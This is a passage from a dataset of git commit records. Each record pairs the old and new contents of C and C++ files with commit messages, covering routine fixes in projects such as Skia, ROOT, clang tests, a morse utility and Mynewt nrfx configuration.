nullptr;\n\tSDL_GameController *controller2 = nullptr;\n\tbool IsControllerButtonPressed(SDL_GameController* controller, SDL_GameControllerButton button);\n\tbool IsControllerButtonHeld(SDL_GameController* controller, SDL_GameControllerButton button) const;\n\tbool IsControllerButtonReleased(SDL_GameController* controller, SDL_GameControllerButton button);\n\n\tbool IsMouseButtonPressed(int button) const;\n\tbool IsMouseButtonHeld(int button) const;\n\tbool IsMouseButtonReleased(int button) const;\n\n\tfloat MouseX() const;\n\tfloat MouseY() const;\n\n\tPoint GetMousePosition(Point& position) const;\n\nprivate:\n\tbool keys[SDL_NUM_SCANCODES];\n\tbool lastKeys[SDL_NUM_SCANCODES];\n\n\tbool lastControllerButtons[SDL_CONTROLLER_BUTTON_MAX];\n\tvoid OpenControllers();\n\n\tbool mouseButtons[NUM_MOUSE_BUTTONS];\n\tbool lastMouseButtons[NUM_MOUSE_BUTTONS];\n\n\t\/\/Might need SDL_MouseMotionEvent instead\n\t\/\/Point mousePosition;\n};\n\n","subject":"Add mousePosition as Point, now commented for reworking","message":"Add mousePosition as Point, now commented for reworking\n","lang":"C","license":"mit","repos":"CollegeBart\/bart-sdl-engine-e16,CollegeBart\/bart-sdl-engine-e16"} {"commit":"a71cffa0a3a3efb64a8ea3b4ce110217f62b90fa","old_file":"Solutions\/03\/view.stat.c","new_file":"Solutions\/03\/view.stat.c","old_contents":"#include \n#include \n#include \n#include \n\n\n\nint main (int argc, char * argv [])\n{\n __u64 rdtsc = 0;\n __u64 i = 0;\n int fileStat = open (argv [1], O_RDONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);\n while (read (fileStat, &rdtsc, sizeof (rdtsc) ) > 0) {\n printf (\"%llu:\\t%llu\\n\", ++i, rdtsc);\n } \n close (fileStat);\n}\n","new_contents":"#include \n#include \n#include \n#include \n#include \n\n\n\nint main (int argc, char * argv [])\n{\n __u64 rdtsc = 0;\n __u64 i = 0;\n int fileStat = open (argv [1], O_RDONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);\n while (read (fileStat, &rdtsc, sizeof (rdtsc) ) > 0) {\n printf (\"%llu:\\t%llu\\n\", ++i, rdtsc);\n }\n close (fileStat);\n\n return EXIT_SUCCESS;\n}\n","subject":"Fix trivial error: return void in main function.","message":"Fix trivial error: return void in main function.\n","lang":"C","license":"mit","repos":"Gluttton\/PslRK,Gluttton\/PslRK,Gluttton\/PslRK"} {"commit":"ca7fe8327518ae9d04f8e5b68f01ffabe699db52","old_file":"native\/fallocate_darwin.c","new_file":"native\/fallocate_darwin.c","old_contents":"#define _FILE_OFFSET_BITS 64\n\n#include \n\nint native_fallocate(int fd, uint64_t len) {\n fstore_t fstore;\n fstore.fst_flags = F_ALLOCATECONTIG;\n fstore.fst_posmode = F_PEOFPOSMODE;\n fstore.fst_offset = 0;\n fstore.fst_length = len;\n fstore.fst_bytesalloc = 0;\n return fcntl(fd, F_PREALLOCATE, &fstore);\n}\n","new_contents":"#define _FILE_OFFSET_BITS 64\n\n#include \n#include \n\nint native_fallocate(int fd, uint64_t len) {\n fstore_t fstore;\n fstore.fst_flags = F_ALLOCATECONTIG;\n fstore.fst_posmode = F_PEOFPOSMODE;\n fstore.fst_offset = 0;\n fstore.fst_length = len;\n fstore.fst_bytesalloc = 0;\n return fcntl(fd, F_PREALLOCATE, &fstore);\n}\n","subject":"Add proper header for darwin build","message":"Add proper header for darwin build\n","lang":"C","license":"isc","repos":"Luminarys\/synapse,Luminarys\/synapse,Luminarys\/synapse"} {"commit":"657f21bee4750eb28dfb4d60662919417a53d724","old_file":"test\/Frontend\/ast-main.c","new_file":"test\/Frontend\/ast-main.c","old_contents":"","new_contents":"\/\/ RUN: clang -emit-llvm -S -o %t1.ll %s &&\n\/\/ RUN: clang -emit-ast -o %t.ast %s &&\n\/\/ RUN: clang -emit-llvm -S -o %t2.ll %t.ast &&\n\/\/ RUN: diff %t1.ll %t2.ll\n\/\/ XFAIL: *\n\nint main() {\n return 0;\n}\n","subject":"Add an XFAIL test which compiles differently from a .ast.","message":"Add an XFAIL test which compiles differently from a .ast.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@82437 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"} {"commit":"90ed0ea74eee58e37da5efe1ad61dc3d70fee0f8","old_file":"ExtendTypedef\/BuildSignature.h","new_file":"ExtendTypedef\/BuildSignature.h","old_contents":"","new_contents":"\n\/\/use a different header for this section as it needs\n\/\/the boost pre-processor\n\n\/\/next step is to convert the boost mpl types back to a worklet\n\/\/signature. To get this to work with all functor we need to use\n\/\/boost pre-processor\n#if !BOOST_PP_IS_ITERATING\n# ifndef __buildSignature_\n# define __buildSignature_\n\n# include \n# include \n# include \n# include \n\n# define _arg_enum___(x) BOOST_PP_ENUM_SHIFTED(BOOST_PP_ITERATION(), _arg_enum_, x)\n# define _arg_enum_(z,n,x) x(n)\n# define _MPL_ARG_(n) typename boost::mpl::at_c::type\n\nnamespace detail\n {\n template struct BuildSig;\n\n# define BOOST_PP_ITERATION_PARAMS_1 (3, (1, 11, \"BuildSignature.h\"))\n# include BOOST_PP_ITERATE()\n }\n\ntemplate\nstruct BuildSignature\n{\n typedef boost::mpl::size Size;\n\n typedef typename ::detail::BuildSig::type type;\n};\n\n# endif\n\n#else\n template struct BuildSig\n {\n typedef typename boost::mpl::at_c::type type(_arg_enum___(_MPL_ARG_));\n\n\n };\n#endif\n","subject":"Add code to build arbitrary length function signature from mpl.","message":"Add code to build arbitrary length function signature from mpl.\n","lang":"C","license":"bsd-2-clause","repos":"robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox"} {"commit":"4390c6c6c9de3934e1bf05cb7132f3ae908a4c35","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#include \"translate.h\"\n#include \"transmit.h\"\n#include \"util.h\"\n\n#include \n#include \n\nint main(int argc, char **argv) {\n\tsetup_util(argv[0]);\n\n\t\/\/ Initialize the default mode.\n\tint mode = 'e';\n\n\t\/\/ Get command line options.\n\tint c;\n\textern char *optarg;\n\textern int optind, optopt;\n\twhile ((c = getopt(argc, argv, \"hedt\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 'h':\n\t\t\tprint_usage(stdout);\n\t\t\treturn 0;\n\t\tcase 'e':\n\t\tcase 'd':\n\t\tcase 't':\n\t\t\tmode = c;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\/\/ Make sure all arguments were processed.\n\tif (optind != argc) {\n\t\tprint_usage(stderr);\n\t\treturn 1;\n\t}\n\n\t\/\/ Dispatch to the chosen subprogram.\n\tswitch (mode) {\n\tcase 'e':\n\t\treturn encode();\n\tcase 'd':\n\t\treturn decode();\n\tcase 't':\n\t\treturn transmit();\n\t}\n}\n","new_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#include \"translate.h\"\n#include \"transmit.h\"\n#include \"util.h\"\n\n#include \n#include \n\nint main(int argc, char **argv) {\n\tsetup_util(argv[0]);\n\n\t\/\/ Initialize the default mode.\n\tint mode = 'e';\n\n\t\/\/ Get command line options.\n\tint c;\n\textern char *optarg;\n\textern int optind, optopt;\n\twhile ((c = getopt(argc, argv, \"hedt\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 'h':\n\t\t\tprint_usage(stdout);\n\t\t\treturn 0;\n\t\tcase 'e':\n\t\tcase 'd':\n\t\tcase 't':\n\t\t\tmode = c;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\tprint_usage(stderr);\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\/\/ Make sure all arguments were processed.\n\tif (optind != argc) {\n\t\tprint_usage(stderr);\n\t\treturn 1;\n\t}\n\n\t\/\/ Dispatch to the chosen subprogram.\n\tswitch (mode) {\n\tcase 'e':\n\t\treturn encode();\n\tcase 'd':\n\t\treturn decode();\n\tcase 't':\n\t\treturn transmit();\n\t}\n}\n","subject":"Print usage message on getopt error","message":"Print usage message on getopt error\n","lang":"C","license":"mit","repos":"mk12\/morse"} {"commit":"2cc15c99daced80a3d85e0cbd7f7a0d015b18b54","old_file":"tests\/regression\/34-congruence\/03-branching.c","new_file":"tests\/regression\/34-congruence\/03-branching.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.congruence --disable ana.int.def_exc\nint main(){\n \/\/ A refinement of a congruence class should only take place for the == and != operator.\n int i;\n if (i==0){\n assert(i==0);\n } else {\n assert(i!=0); \/\/UNKNOWN!\n }\n\n int j;\n if (j != 0){\n assert (j != 0); \/\/UNKNOWN!\n } else {\n assert (j == 0);\n }\n\n int k;\n if (k > 0) {\n assert (k == 0); \/\/UNKNOWN!\n } else {\n assert (k != 0); \/\/UNKNOWN!\n }\n\n return 0;\n}","subject":"Add branching test for congruence domain","message":"Add branching test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"92ccc1fa3f8ac72673dd56e3d691103c0a6ec871","old_file":"src\/lock.h","new_file":"src\/lock.h","old_contents":"#ifndef LOCK_H\n#define LOCK_H\n\nenum lockstat\n{\n\tGET_LOCK_NOT_GOT=0,\n\tGET_LOCK_ERROR,\n\tGET_LOCK_GOT\n};\n\ntypedef struct lock lock_t;\n\nstruct lock\n{\n\tint fd;\n\tenum lockstat status;\n\tchar *path;\n\tlock_t *next;\n};\n\nextern struct lock *lock_alloc(void);\nextern int lock_init(struct lock *lock, const char *path);\nextern struct lock *lock_alloc_and_init(const char *path);\nextern void lock_free(struct lock **lock);\n\n\/\/ Need to test lock->status to find out what happened when calling these.\nextern void lock_get_quick(struct lock *lock);\nextern void lock_get(struct lock *lock);\n\nextern int lock_test(const char *path);\nextern int lock_release(struct lock *lock);\n\nextern void lock_add_to_list(struct lock **locklist, struct lock *lock);\nextern void locks_release_and_free(struct lock **locklist);\n\n#endif\n","new_contents":"#ifndef LOCK_H\n#define LOCK_H\n\nenum lockstat\n{\n\tGET_LOCK_NOT_GOT=0,\n\tGET_LOCK_ERROR,\n\tGET_LOCK_GOT\n};\n\nstruct lock\n{\n\tint fd;\n\tenum lockstat status;\n\tchar *path;\n\tstruct lock *next;\n};\n\nextern struct lock *lock_alloc(void);\nextern int lock_init(struct lock *lock, const char *path);\nextern struct lock *lock_alloc_and_init(const char *path);\nextern void lock_free(struct lock **lock);\n\n\/\/ Need to test lock->status to find out what happened when calling these.\nextern void lock_get_quick(struct lock *lock);\nextern void lock_get(struct lock *lock);\n\nextern int lock_test(const char *path);\nextern int lock_release(struct lock *lock);\n\nextern void lock_add_to_list(struct lock **locklist, struct lock *lock);\nextern void locks_release_and_free(struct lock **locklist);\n\n#endif\n","subject":"Fix a build issue on Solaris","message":"Fix a build issue on Solaris\n","lang":"C","license":"agpl-3.0","repos":"rubenk\/burp,rubenk\/burp,rubenk\/burp"} {"commit":"7b0b2ca43517ef59aa78c3ad4ce2c49df9bffaff","old_file":"include\/private\/SkSpinlock.h","new_file":"include\/private\/SkSpinlock.h","old_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkSpinlock_DEFINED\n#define SkSpinlock_DEFINED\n\n#include \n\nclass SkSpinlock {\npublic:\n void acquire() {\n \/\/ To act as a mutex, we need an acquire barrier when we acquire the lock.\n if (fLocked.exchange(true, std::memory_order_acquire)) {\n \/\/ Lock was contended. Fall back to an out-of-line spin loop.\n this->contendedAcquire();\n }\n }\n\n void release() {\n \/\/ To act as a mutex, we need a release barrier when we release the lock.\n fLocked.store(false, std::memory_order_release);\n }\n\nprivate:\n void contendedAcquire();\n\n std::atomic fLocked{false};\n};\n\n#endif\/\/SkSpinlock_DEFINED\n","new_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkSpinlock_DEFINED\n#define SkSpinlock_DEFINED\n\n#include \"SkTypes.h\"\n#include \n\nclass SkSpinlock {\npublic:\n void acquire() {\n \/\/ To act as a mutex, we need an acquire barrier when we acquire the lock.\n if (fLocked.exchange(true, std::memory_order_acquire)) {\n \/\/ Lock was contended. Fall back to an out-of-line spin loop.\n this->contendedAcquire();\n }\n }\n\n void release() {\n \/\/ To act as a mutex, we need a release barrier when we release the lock.\n fLocked.store(false, std::memory_order_release);\n }\n\nprivate:\n SK_API void contendedAcquire();\n\n std::atomic fLocked{false};\n};\n\n#endif\/\/SkSpinlock_DEFINED\n","subject":"Make Cmake work with debug build","message":"Make Cmake work with debug build\n\nBefore this CL, the following failed to link:\n\n cd ...\/skia\n git fetch\n git checkout origin\/master\n git clean -ffdx\n SKIA=\"$PWD\"\n cd $(mktemp -d);\n cmake \"${SKIA}\/cmake\" -DCMAKE_BUILD_TYPE=Debug -G Ninja\n ninja\nGOLD_TRYBOT_URL= https:\/\/gold.skia.org\/search2?unt=true&query=source_type%3Dgm&master=false&issue=1757993006\n\nReview URL: https:\/\/codereview.chromium.org\/1757993006\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,google\/skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,tmpvar\/skia.cc,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,tmpvar\/skia.cc,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,tmpvar\/skia.cc,tmpvar\/skia.cc,qrealka\/skia-hc,rubenvb\/skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,tmpvar\/skia.cc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,qrealka\/skia-hc,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,tmpvar\/skia.cc,tmpvar\/skia.cc,rubenvb\/skia,google\/skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,qrealka\/skia-hc"} {"commit":"9b4050f924a3ac59e1a390fff1ca94690c7b648c","old_file":"hw\/mcu\/nordic\/nrf52xxx-compat\/include\/nrfx_config.h","new_file":"hw\/mcu\/nordic\/nrf52xxx-compat\/include\/nrfx_config.h","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef NRFX_CONFIG_H__\n#define NRFX_CONFIG_H__\n\n#if NRF52\n#include \"..\/..\/nrf52xxx-compat\/include\/nrfx52_config.h\"\n#elif NRF52840_XXAA\n#include \"..\/..\/nrf52xxx-compat\/include\/nrfx52840_config.h\"\n#else\n#error Unsupported chip selected\n#endif\n\n#endif \/\/ NRFX_CONFIG_H__\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef NRFX_CONFIG_H__\n#define NRFX_CONFIG_H__\n\n#if NRF52\n#include \"nrfx52_config.h\"\n#elif NRF52840_XXAA\n#include \"nrfx52840_config.h\"\n#else\n#error Unsupported chip selected\n#endif\n\n#endif \/\/ NRFX_CONFIG_H__\n","subject":"Fix weird includes in compat package","message":"hw\/mcu\/nordic: Fix weird includes in compat package\n","lang":"C","license":"apache-2.0","repos":"mlaz\/mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core"} {"commit":"3c701bdbd8c761b885c8f7332b034ab6c6b6daab","old_file":"core\/metautils\/src\/vectorLinkdef.h","new_file":"core\/metautils\/src\/vectorLinkdef.h","old_contents":"#include \n#include \n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator\n#pragma create TClass vector;\n#endif\n","new_contents":"#include \n#include \n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n#pragma create TClass vector;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator\n#pragma create TClass vector;\n#endif\n","subject":"Add missing TClass creation for vector and vector","message":"Add missing TClass creation for vector and vector\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@38659 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"thomaskeck\/root,Duraznos\/root,beniz\/root,perovic\/root,perovic\/root,Y--\/root,agarciamontoro\/root,georgtroska\/root,sawenzel\/root,gganis\/root,nilqed\/root,buuck\/root,buuck\/root,simonpf\/root,nilqed\/root,davidlt\/root,omazapa\/root,0x0all\/ROOT,perovic\/root,veprbl\/root,esakellari\/my_root_for_test,lgiommi\/root,dfunke\/root,ffurano\/root5,ffurano\/root5,BerserkerTroll\/root,BerserkerTroll\/root,mattkretz\/root,tc3t\/qoot,abhinavmoudgil95\/root,esakellari\/my_root_for_test,esakellari\/my_root_for_test,gganis\/root,davidlt\/root,0x0all\/ROOT,olifre\/root,gganis\/root,evgeny-boger\/root,krafczyk\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,Y--\/root,BerserkerTroll\/root,cxx-hep\/root-cern,lgiommi\/root,omazapa\/root-old,arch1tect0r\/root,CristinaCristescu\/root,smarinac\/root,evgeny-boger\/root,esakellari\/root,gbitzes\/root,gganis\/root,beniz\/root,kirbyherm\/root-r-tools,beniz\/root,thomaskeck\/root,nilqed\/root,omazapa\/root-old,jrtomps\/root,beniz\/root,evgeny-boger\/root,arch1tect0r\/root,gbitzes\/root,sirinath\/root,perovic\/root,buuck\/root,davidlt\/root,tc3t\/qoot,zzxuanyuan\/root,perovic\/root,esakellari\/root,mattkretz\/root,lgiommi\/root,agarciamontoro\/root,gbitzes\/root,karies\/root,vukasinmilosevic\/root,dfunke\/root,simonpf\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,abhinavmoudgil95\/root,pspe\/root,BerserkerTroll\/root,mhuwiler\/rootauto,bbockelm\/root,mhuwiler\/rootauto,mkret2\/root,Dr15Jones\/root,nilqed\/root,Y--\/root,tc3t\/qoot,dfunke\/root,evgeny-boger\/root,veprbl\/root,mkret2\/root,CristinaCristescu\/root,veprbl\/root,kirbyherm\/root-r-tools,evgeny-boger\/root,veprbl\/root,zzxuanyuan\/root,mhuwiler\/rootauto,buuck\/root,karies\/root,georgtroska\/root,omazapa\/root-old,Y--\/root,0x0all\/ROOT,satyarth934\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,agarciamontoro\/root,jrtomps\/root,simonpf\/root,Dr15Jones\/root,thomaskeck\/root,zzxuanyuan\/root,sbinet\/cxx-root,esakellari\/root,gbitzes\/root,veprbl\/root,Y--\/root,tc3t\/qoot,zzxuanyuan\/root,satyarth934\/root,perovic\/root,mattkretz\/root,olifre\/root,pspe\/root,CristinaCristescu\/root,satyarth934\/root,CristinaCristescu\/root,zzxuanyuan\/root,ffurano\/root5,esakellari\/root,pspe\/root,jrtomps\/root,mkret2\/root,satyarth934\/root,bbockelm\/root,strykejern\/TTreeReader,esakellari\/root,Dr15Jones\/root,veprbl\/root,cxx-hep\/root-cern,0x0all\/ROOT,sawenzel\/root,beniz\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,beniz\/root,zzxuanyuan\/root,sawenzel\/root,Y--\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,Dr15Jones\/root,nilqed\/root,simonpf\/root,esakellari\/root,satyarth934\/root,georgtroska\/root,perovic\/root,lgiommi\/root,abhinavmoudgil95\/root,karies\/root,esakellari\/my_root_for_test,satyarth934\/root,mkret2\/root,root-mirror\/root,sbinet\/cxx-root,agarciamontoro\/root,sirinath\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT,buuck\/root,ffurano\/root5,mattkretz\/root,root-mirror\/root,lgiommi\/root,vukasinmilosevic\/root,thomaskeck\/root,olifre\/root,bbockelm\/root,kirbyherm\/root-r-tools,alexschlueter\/cern-root,Y--\/root,vukasinmilosevic\/root,root-mirror\/root,veprbl\/root,esakellari\/my_root_for_test,abhinavmoudgil95\/root,sawenzel\/root,esakellari\/root,georgtroska\/root,Y--\/root,esakellari\/root,jrtomps\/root,sirinath\/root,abhinavmoudgil95\/root,buuck\/root,gbitzes\/root,omazapa\/root,nilqed\/root,mkret2\/root,georgtroska\/root,sawenzel\/root,karies\/root,nilqed\/root,evgeny-boger\/root,BerserkerTroll\/root,nilqed\/root,nilqed\/root,buuck\/root,strykejern\/TTreeReader,cxx-hep\/root-cern,olifre\/root,sbinet\/cxx-root,mattkretz\/root,root-mirror\/root,sirinath\/root,tc3t\/qoot,strykejern\/TTreeReader,Duraznos\/root,pspe\/root,jrtomps\/root,davidlt\/root,simonpf\/root,sbinet\/cxx-root,mattkretz\/root,gganis\/root,lgiommi\/root,dfunke\/root,satyarth934\/root,esakellari\/my_root_for_test,satyarth934\/root,BerserkerTroll\/root,olifre\/root,simonpf\/root,omazapa\/root,arch1tect0r\/root,CristinaCristescu\/root,Duraznos\/root,karies\/root,Dr15Jones\/root,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,pspe\/root,mhuwiler\/rootauto,karies\/root,strykejern\/TTreeReader,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,strykejern\/TTreeReader,jrtomps\/root,alexschlueter\/cern-root,satyarth934\/root,karies\/root,zzxuanyuan\/root,krafczyk\/root,root-mirror\/root,evgeny-boger\/root,perovic\/root,Y--\/root,kirbyherm\/root-r-tools,gbitzes\/root,gbitzes\/root,satyarth934\/root,krafczyk\/root,bbockelm\/root,bbockelm\/root,CristinaCristescu\/root,nilqed\/root,Duraznos\/root,thomaskeck\/root,smarinac\/root,kirbyherm\/root-r-tools,karies\/root,georgtroska\/root,lgiommi\/root,ffurano\/root5,pspe\/root,Y--\/root,omazapa\/root,smarinac\/root,sbinet\/cxx-root,gbitzes\/root,jrtomps\/root,dfunke\/root,mattkretz\/root,tc3t\/qoot,abhinavmoudgil95\/root,zzxuanyuan\/root,pspe\/root,sirinath\/root,sirinath\/root,mhuwiler\/rootauto,sawenzel\/root,omazapa\/root-old,dfunke\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,ffurano\/root5,zzxuanyuan\/root,strykejern\/TTreeReader,Duraznos\/root,krafczyk\/root,omazapa\/root-old,alexschlueter\/cern-root,georgtroska\/root,CristinaCristescu\/root,thomaskeck\/root,vukasinmilosevic\/root,sirinath\/root,0x0all\/ROOT,omazapa\/root,tc3t\/qoot,agarciamontoro\/root,evgeny-boger\/root,simonpf\/root,davidlt\/root,strykejern\/TTreeReader,gganis\/root,smarinac\/root,root-mirror\/root,omazapa\/root-old,0x0all\/ROOT,mhuwiler\/rootauto,cxx-hep\/root-cern,davidlt\/root,dfunke\/root,abhinavmoudgil95\/root,alexschlueter\/cern-root,omazapa\/root,buuck\/root,dfunke\/root,mhuwiler\/rootauto,esakellari\/root,beniz\/root,thomaskeck\/root,CristinaCristescu\/root,sbinet\/cxx-root,dfunke\/root,alexschlueter\/cern-root,Duraznos\/root,smarinac\/root,gganis\/root,gganis\/root,mkret2\/root,root-mirror\/root,satyarth934\/root,karies\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,ffurano\/root5,esakellari\/my_root_for_test,cxx-hep\/root-cern,omazapa\/root-old,agarciamontoro\/root,sbinet\/cxx-root,mkret2\/root,gganis\/root,sirinath\/root,sirinath\/root,Dr15Jones\/root,0x0all\/ROOT,perovic\/root,jrtomps\/root,vukasinmilosevic\/root,olifre\/root,olifre\/root,mhuwiler\/rootauto,BerserkerTroll\/root,thomaskeck\/root,alexschlueter\/cern-root,root-mirror\/root,thomaskeck\/root,krafczyk\/root,olifre\/root,sbinet\/cxx-root,tc3t\/qoot,omazapa\/root-old,agarciamontoro\/root,perovic\/root,omazapa\/root,omazapa\/root-old,arch1tect0r\/root,gbitzes\/root,sbinet\/cxx-root,arch1tect0r\/root,kirbyherm\/root-r-tools,davidlt\/root,smarinac\/root,krafczyk\/root,beniz\/root,agarciamontoro\/root,agarciamontoro\/root,esakellari\/my_root_for_test,omazapa\/root-old,cxx-hep\/root-cern,simonpf\/root,gbitzes\/root,davidlt\/root,simonpf\/root,Duraznos\/root,lgiommi\/root,omazapa\/root,smarinac\/root,pspe\/root,pspe\/root,georgtroska\/root,veprbl\/root,alexschlueter\/cern-root,sawenzel\/root,smarinac\/root,bbockelm\/root,Duraznos\/root,veprbl\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/my_root_for_test,georgtroska\/root,vukasinmilosevic\/root,sbinet\/cxx-root,root-mirror\/root,mhuwiler\/rootauto,omazapa\/root,gbitzes\/root,vukasinmilosevic\/root,agarciamontoro\/root,arch1tect0r\/root,mattkretz\/root,beniz\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,lgiommi\/root,buuck\/root,Duraznos\/root,georgtroska\/root,CristinaCristescu\/root,BerserkerTroll\/root,bbockelm\/root,sawenzel\/root,dfunke\/root,Dr15Jones\/root,veprbl\/root,root-mirror\/root,arch1tect0r\/root,nilqed\/root,sbinet\/cxx-root,CristinaCristescu\/root,krafczyk\/root,lgiommi\/root,BerserkerTroll\/root,jrtomps\/root,beniz\/root,omazapa\/root,arch1tect0r\/root,perovic\/root,mkret2\/root,mattkretz\/root,davidlt\/root,vukasinmilosevic\/root,beniz\/root,olifre\/root,omazapa\/root,esakellari\/root,pspe\/root,krafczyk\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,tc3t\/qoot,thomaskeck\/root,jrtomps\/root,bbockelm\/root,smarinac\/root,agarciamontoro\/root,evgeny-boger\/root,abhinavmoudgil95\/root,cxx-hep\/root-cern,davidlt\/root,zzxuanyuan\/root,sirinath\/root,sawenzel\/root,mattkretz\/root,0x0all\/ROOT,mattkretz\/root,bbockelm\/root,lgiommi\/root,esakellari\/root,Duraznos\/root,esakellari\/my_root_for_test,krafczyk\/root,simonpf\/root,zzxuanyuan\/root,vukasinmilosevic\/root,georgtroska\/root,arch1tect0r\/root,bbockelm\/root,BerserkerTroll\/root,gganis\/root,omazapa\/root-old,karies\/root,sirinath\/root,evgeny-boger\/root,sawenzel\/root,smarinac\/root,Y--\/root,dfunke\/root,krafczyk\/root,arch1tect0r\/root,jrtomps\/root,buuck\/root,olifre\/